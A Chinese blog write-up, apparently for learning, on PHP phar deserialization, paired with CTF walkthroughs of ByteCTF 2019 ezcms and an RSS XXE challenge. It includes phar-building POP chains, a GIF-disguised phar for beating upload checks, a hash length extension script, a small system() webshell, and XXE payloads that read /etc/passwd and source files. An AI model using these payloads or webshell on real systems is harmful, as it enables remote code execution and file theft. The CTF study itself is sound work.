概要

来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。

关于流包装

大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://zlib://php://
例如常见的

include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file等函数可以用流协议处理
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');

phar://也是流包装的一种

phar原理

a stub

可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

官方手册

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方

demo

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php:

<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问后,会生成一个phar.phar在当前目录下

用winhex打开

可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

phar_fan.php

<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>

输出

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
class TestObject { }
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'hu3sky';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。(可以绕过exif_imagetype等函数判断)

利用条件

phar文件要能够上传到服务器端。

file_exists()fopen()file_get_contents()file()等文件操作的函数

要有可用的魔术方法作为“跳板”。

文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

漏洞验证

环境准备

upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()

文件内容

upload_file.html

<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
phar反序列化
</head>
<body>
<form action="http://127.0.0.1/Phartest/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>

upload_file.php

<?php
$tmp_file_location='E:/phpstudy/WWW/';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
$tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);

实现过程

首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

构造代码

eval.php

<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> statBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

注意设置 phar.readonly=0(发现phpstudy 5.4.455nts无法生成并且报错,5.5.38可以)

访问eval.php,查看创建的phar文件并且修改后缀为gif

用winhex打开查看,确实有序列化字符串,当用phar://伪协议读取时,便会自动反序列化,引起phar://反序列化

接着上传,文件会上传到upload_file目录下

文件上传中的$_FILES数组

$_FILES['userfile']['name']客户端机器文件的原名称

$_FILES['userfile']['type']文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值

$_FILES['userfile']['size']已上传文件的大小,单位为字节

$_FILES['userfile']['tmp_name']文件被上传后在服务端储存的临时文件名

$_FILES['userfile']['error']和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。

修改临时存储文件目录,在php.ini中设置:

找到指令 upload_tmp_dir:取消注释该行并将其值更改为所需路径,例如 "/var/tmp":

对于PHP 5.5和更高版本,请找到指令 sys_temp_dir:取消注释该行并将其值更改为所需路径,例如 "/var/tmp":

Phar拓展

根据陆队的这篇文章SUCTF 2019 出题笔记 & phar 反序列化的一些拓展学习到了zsx师傅的Phar研究文章,发现了另外的一些触发函数和陆队自己的对于Phar的绕过trick研究和函数发现

最主要的是调用了php_stream_open_wrapper_ex

额外发现函数

exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstring finfo_file/finfo_buffer/mime_content_type

ZIP

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Postgres

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFilepg_trace同样也是能使用的,只是它们需要开启phar的写功能

MySQL

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper. 让我们测试一下

<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

再配置一下mysqld

[mysqld]
local-infile=1
secure_file_priv=""

膜两位师傅 orz 

  

绕过对phar://头限制:

0x01 zsx师傅方法

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);

0x02 陆队方法

@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')

复现bytectf_2019_ezcms

访问获得www.zip

  • index.php页面验证登陆,可以任意账号登陆到upload.php上传页面,但是只有admin账号才能进行文件上传。
  • 访问了upload.php·,就会在沙盒下生成一个.htaccess文件,内容为:lolololol, i control all。
  • 上传文件后,会返回文件的存储路径,view details可以进入view.php,会回显文件的mime类型以及文件路径。
  • 因为目录下的.htaccess被写入了内容,无法解析,所以访问上传的文件会报500

题目环境由赵师傅搭建:https://github.com/glzjin/bytectf_2019_ezcms

docker compose失败,既然失败了,直接去赵师傅的buuctf做题吧

哈希长度扩展攻击

直接http://59cf5320-5049-4368-a604-60236fc3fef2.node1.buuoj.cn/www.zip,下载整站源码

index.php

只要密码不为0,就能直接登陆进去,同时设置了一个cookie:hash(进入关键点)。然后进入upload.php

发现无法上传文件提示u r not admin,于是跟进upload.php

upload.php

实例化了一个Admin类的对象。跟进Admin

发现调用了一个is_admin()函数,跟进查看

哈希扩展攻击无疑了

结合上文的hash密文

构造cookie['user'] hash密文,和password

因为不是secret的长度

因此写了个脚本放进kali里爆破长度,并且一个一个提交尝试,如果能上传,就是成功了

import requests,hashpumpy,urllib
def webre():
sha='52107b08c0f3342d2153ae1d68e6262c'
string0='admin'
string1='pcat'
for i in range(15):
digest,message=hashpumpy.hashpump(sha,string0,string1,i)
role=urllib.quote(message[::])
hsh=digest
payload={'post':role,'hash':hsh}
print(i,payload)
webre()
(13, {'post': 'admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00pcat', 'hash': '976a9e80cb464a1e952b225d663c2edc'})

长度为13的时候成功执行,其实可以把脚本更完善不需要自己去测试,直接写个files上传和cookie['user']赋值。但是想想要先登陆,在复制和上传检查时候是admin,菜了。然后就自己手动测试了。

Phar反序列化

已经存在了.htaccess

随便上传一个图片马试试

有个过滤

这里有两个攻击思路

  • phar反序列化将upload_file上传到别的目录,绕过sanbox中.htaccess的控制
  • 事先上传一个php马儿,然后PHP反序列化删除.htaccess文件

因为我们不知道临时存储的文件的目录,因此只能用第二种思路。

我们看到view.php中有个File类,跟进File类

看到mime_content_type,上面写到了有对文件的读操作,因此可以调用phar反序列化

第一条思路已经行不通了,因此不能进入Admin类,无法实现目的。

看到了Profile类中的一个call魔术方法

查找下有什么open方法的内置类(看WP说是两个还一个SessionHandler,不知道如何查到的)

ZipArchive  

翻阅手册发现open方法第一个参数为文件名,第二个为打开方式

ZipArchive::open ( string $filename [, int $flags ] ) : mixed  

这种用overwrite方法,可以直接删除.htaccess文件

OK,整条POP链构造完毕。

先通过view.php中的mime_content_type来进行phar反序列化,调用析构函数,new一个Proflie类再调用__call魔术方法,new一个ziparchive类,调用open方法,ziparchive::overwrite参数直接删除.htaccess

先上传一个过waf的马儿

<?php
$a="sy"."stem";
$a($_GET[0]);  

再本地一个构造phar文件

<?php
class File{ public $filename;
public $filepath;
public $checker;
}
class Profile{ public $username;
public $password;
public $admin;
}
$a=new File();
$a->checker=new Profile();
$a->checker->admin=new ZipArchive();
$a->checker->username="/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$a->checker->password=ZipArchive::OVERWRITE;
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>

上传

踩坑记录:、

哭了,上传phar被过滤了,提示  `你让我害怕`,winhex看到有个`,但是删除`后,可能损坏了phar结构,又不行。于是换成php 7.0完全上传解决问题。得跟上时代的潮流。暴捶自己一顿

通过php://filter绕过waf的检测去触发phar

http://603da113-ff3e-48ff-b305-60a7fd44852c.node1.buuoj.cn/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/9c7f4a2fbf2dd3dfb7051727a644d99f.phar 

成功删除.htaccess

http://603da113-ff3e-48ff-b305-60a7fd44852c.node1.buuoj.cn/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/39ab6b7b4e9946f4fef4d99ee6be3446.php?0=cd%20/;cat%20flag

 

RSS

当时出这道题目的时候,就看出来了应该是XXE的题目,因为RSS是基于xml文档的

知识点:百度就是弟弟,google才是哥哥

google RSS XXE会发现一篇文章

https://mikeknoop.com/lxml-xxe-exploit/
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>  

虽然限制了域名,但是不像boringcode对于data://伪协议的过滤(https://www.jianshu.com/p/80ce73919edb

猜测一下使用file_get_contents,呢么用data://协议写入

并且php对mime类型不敏感。为了绕过域名的限制,将上面的payload base64加密一下,然后用data://伪协议传入,让其直接读取

data://baidu.com/plain;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHRpdGxlIFsgPCFFTEVNRU5UIHRpdGxlIEFOWSA+CjwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0+Cjxyc3MgdmVyc2lvbj0iMi4wIiB4bWxuczphdG9tPSJodHRwOi8vd3d3LnczLm9yZy8yMDA1L0F0b20iPgo8Y2hhbm5lbD4KICAgIDx0aXRsZT5UaGUgQmxvZzwvdGl0bGU+CiAgICA8bGluaz5odHRwOi8vZXhhbXBsZS5jb20vPC9saW5rPgogICAgPGRlc2NyaXB0aW9uPkEgYmxvZyBhYm91dCB0aGluZ3M8L2Rlc2NyaXB0aW9uPgogICAgPGxhc3RCdWlsZERhdGU+TW9uLCAwMyBGZWIgMjAxNCAwMDowMDowMCAtMDAwMDwvbGFzdEJ1aWxkRGF0ZT4KICAgIDxpdGVtPgogICAgICAgIDx0aXRsZT4meHhlOzwvdGl0bGU+CiAgICAgICAgPGxpbms+aHR0cDovL2V4YW1wbGUuY29tPC9saW5rPgogICAgICAgIDxkZXNjcmlwdGlvbj5hIHBvc3Q8L2Rlc2NyaXB0aW9uPgogICAgICAgIDxhdXRob3I+YXV0aG9yQGV4YW1wbGUuY29tPC9hdXRob3I+CiAgICAgICAgPHB1YkRhdGU+TW9uLCAwMyBGZWIgMjAxNCAwMDowMDowMCAtMDAwMDwvcHViRGF0ZT4KICAgIDwvaXRlbT4KPC9jaGFubmVsPgo8L3Jzcz4=

利用php://filter协议来读取文件内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> //修改php伪协议读取源码
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title> //调用外部实体
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss> 

  

参考资料:

https://xz.aliyun.com/t/2715(转载)

明天学习phar拓展文章:

https://paper.seebug.org/680/

https://blog.zsxsoft.com/post/38

初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路的更多相关文章

  1. phar 反序列化学习

    前言 phar 是 php 支持的一种伪协议, 在一些文件处理函数的路径参数中使用的话就会触发反序列操作. 利用条件 phar 文件要能够上传到服务器端. 要有可用的魔术方法作为"跳板&qu ...

  2. PHP Phar反序列化学习

    PHP Phar反序列化学习 Phar Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件.它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句. 默认开启版 ...

  3. php phar反序列化任意执行代码

    2018年 原理一.关于流包装stream wrapper大多数的文件操作允许使用各种URL协议去访问文件路径,如data://,zlib://,php://例如常见的有include('php:// ...

  4. Natas33 Writeup(Phar反序列化漏洞)

    Natas33: 又是一个上传文件的页面,源码如下: // graz XeR, the first to solve it! thanks for the feedback! // ~morla cl ...

  5. Shiro反序列化复现

    Shiro反序列化复现 ——————环境准备—————— 目标靶机:10.11.10.108 //docker环境 攻击机ip:无所谓 vpsip:192.168.14.222 //和靶机ip可通 1 ...

  6. 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

    太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...

  7. CVE-2020-1947 Sharding-UI的反序列化复现及分析

    CVE-2020-1947 复现及分析 0x01 影响 Apache ShardingSphere < =4.0.0 0x02 环境搭建 incubator-shardingsphere 的ui ...

  8. 谈一谈phar 反序列化

    前言 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...

  9. phar反序列化

    我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究 ...

随机推荐

  1. UVA129 Krypton Factor 困难的串 dfs回溯【DFS】

     Krypton Factor Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others ...

  2. Go语言库系列之flag

    背景 终端(命令行)操作是程序员的必备技能,但是你知道怎么通过golang制作出如下命令吗? $ flag girl -h Usage of girl: -height int 身高 (default ...

  3. 为什么我的PayPal 买家账号往商家账号付款,反而从商家账号里面扣款?

    如果读者踩了跟我一样坑的话,建议赶紧去检查一下 application.properties 配置文件!!!   解决方法: 不妨试试将上面的 clientId和clientSecret 切换为你的商 ...

  4. Selenium系列(十五) - Web UI 自动化基础实战(2)

    如果你还想从头学起Selenium,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1680176.html 其次,如果你不懂前端基础知识, ...

  5. 深入理解Java AIO(一)—— Java AIO的简单使用

    深入理解Java AIO(一)—— Java AIO的简单使用 深入理解AIO系列分为三个部分 第一部分也就是本节的Java AIO的简单使用 第二部分是AIO源码解析(只解析关键部分)(待更新) 第 ...

  6. js中使用Timer来计时程序执行时 - [javascript] - [开发]

    在我们开发过程中,我们也在不断的学习,以及优化自己的代码质量. 我们时常需要一个计时器,来对代码某段或者某些段执行进行计时,以评估代码运行质量,考虑是否优化. 以及优化后的直观对比. JavaScri ...

  7. Linux 定时实行一次任务命令

    当我们想在指定的时间自动执行 一次 任务的时候,可以使用at命令 启动服务 使用时首先检查atq的服务是否启动 service atd status # 检查atd的状态 service atd st ...

  8. const不同位置带来的区别

    const不同位置带来的区别 今天同学问我数据结构时,我对以下代码懵了一下: template <class T> class Link{ public: T data; Link< ...

  9. C语言一行语句太长的换行处理方法

    [toc] 1.C语言中代码的多行书写 对C语言初学者来说,编写的程序的功能很简单,一句代码很短,但是在实际开发中,参数往往很长很多,一句代码可能会很长,需要用多行才能书写. 如果我们在一行代码的行尾 ...

  10. python--算法相关

    一.时间复杂度排序 1.O(1) < O(logn) < O(n) < O(nlogn) < O(n^2) < O(n^3) < O(2^n) < O(n!) ...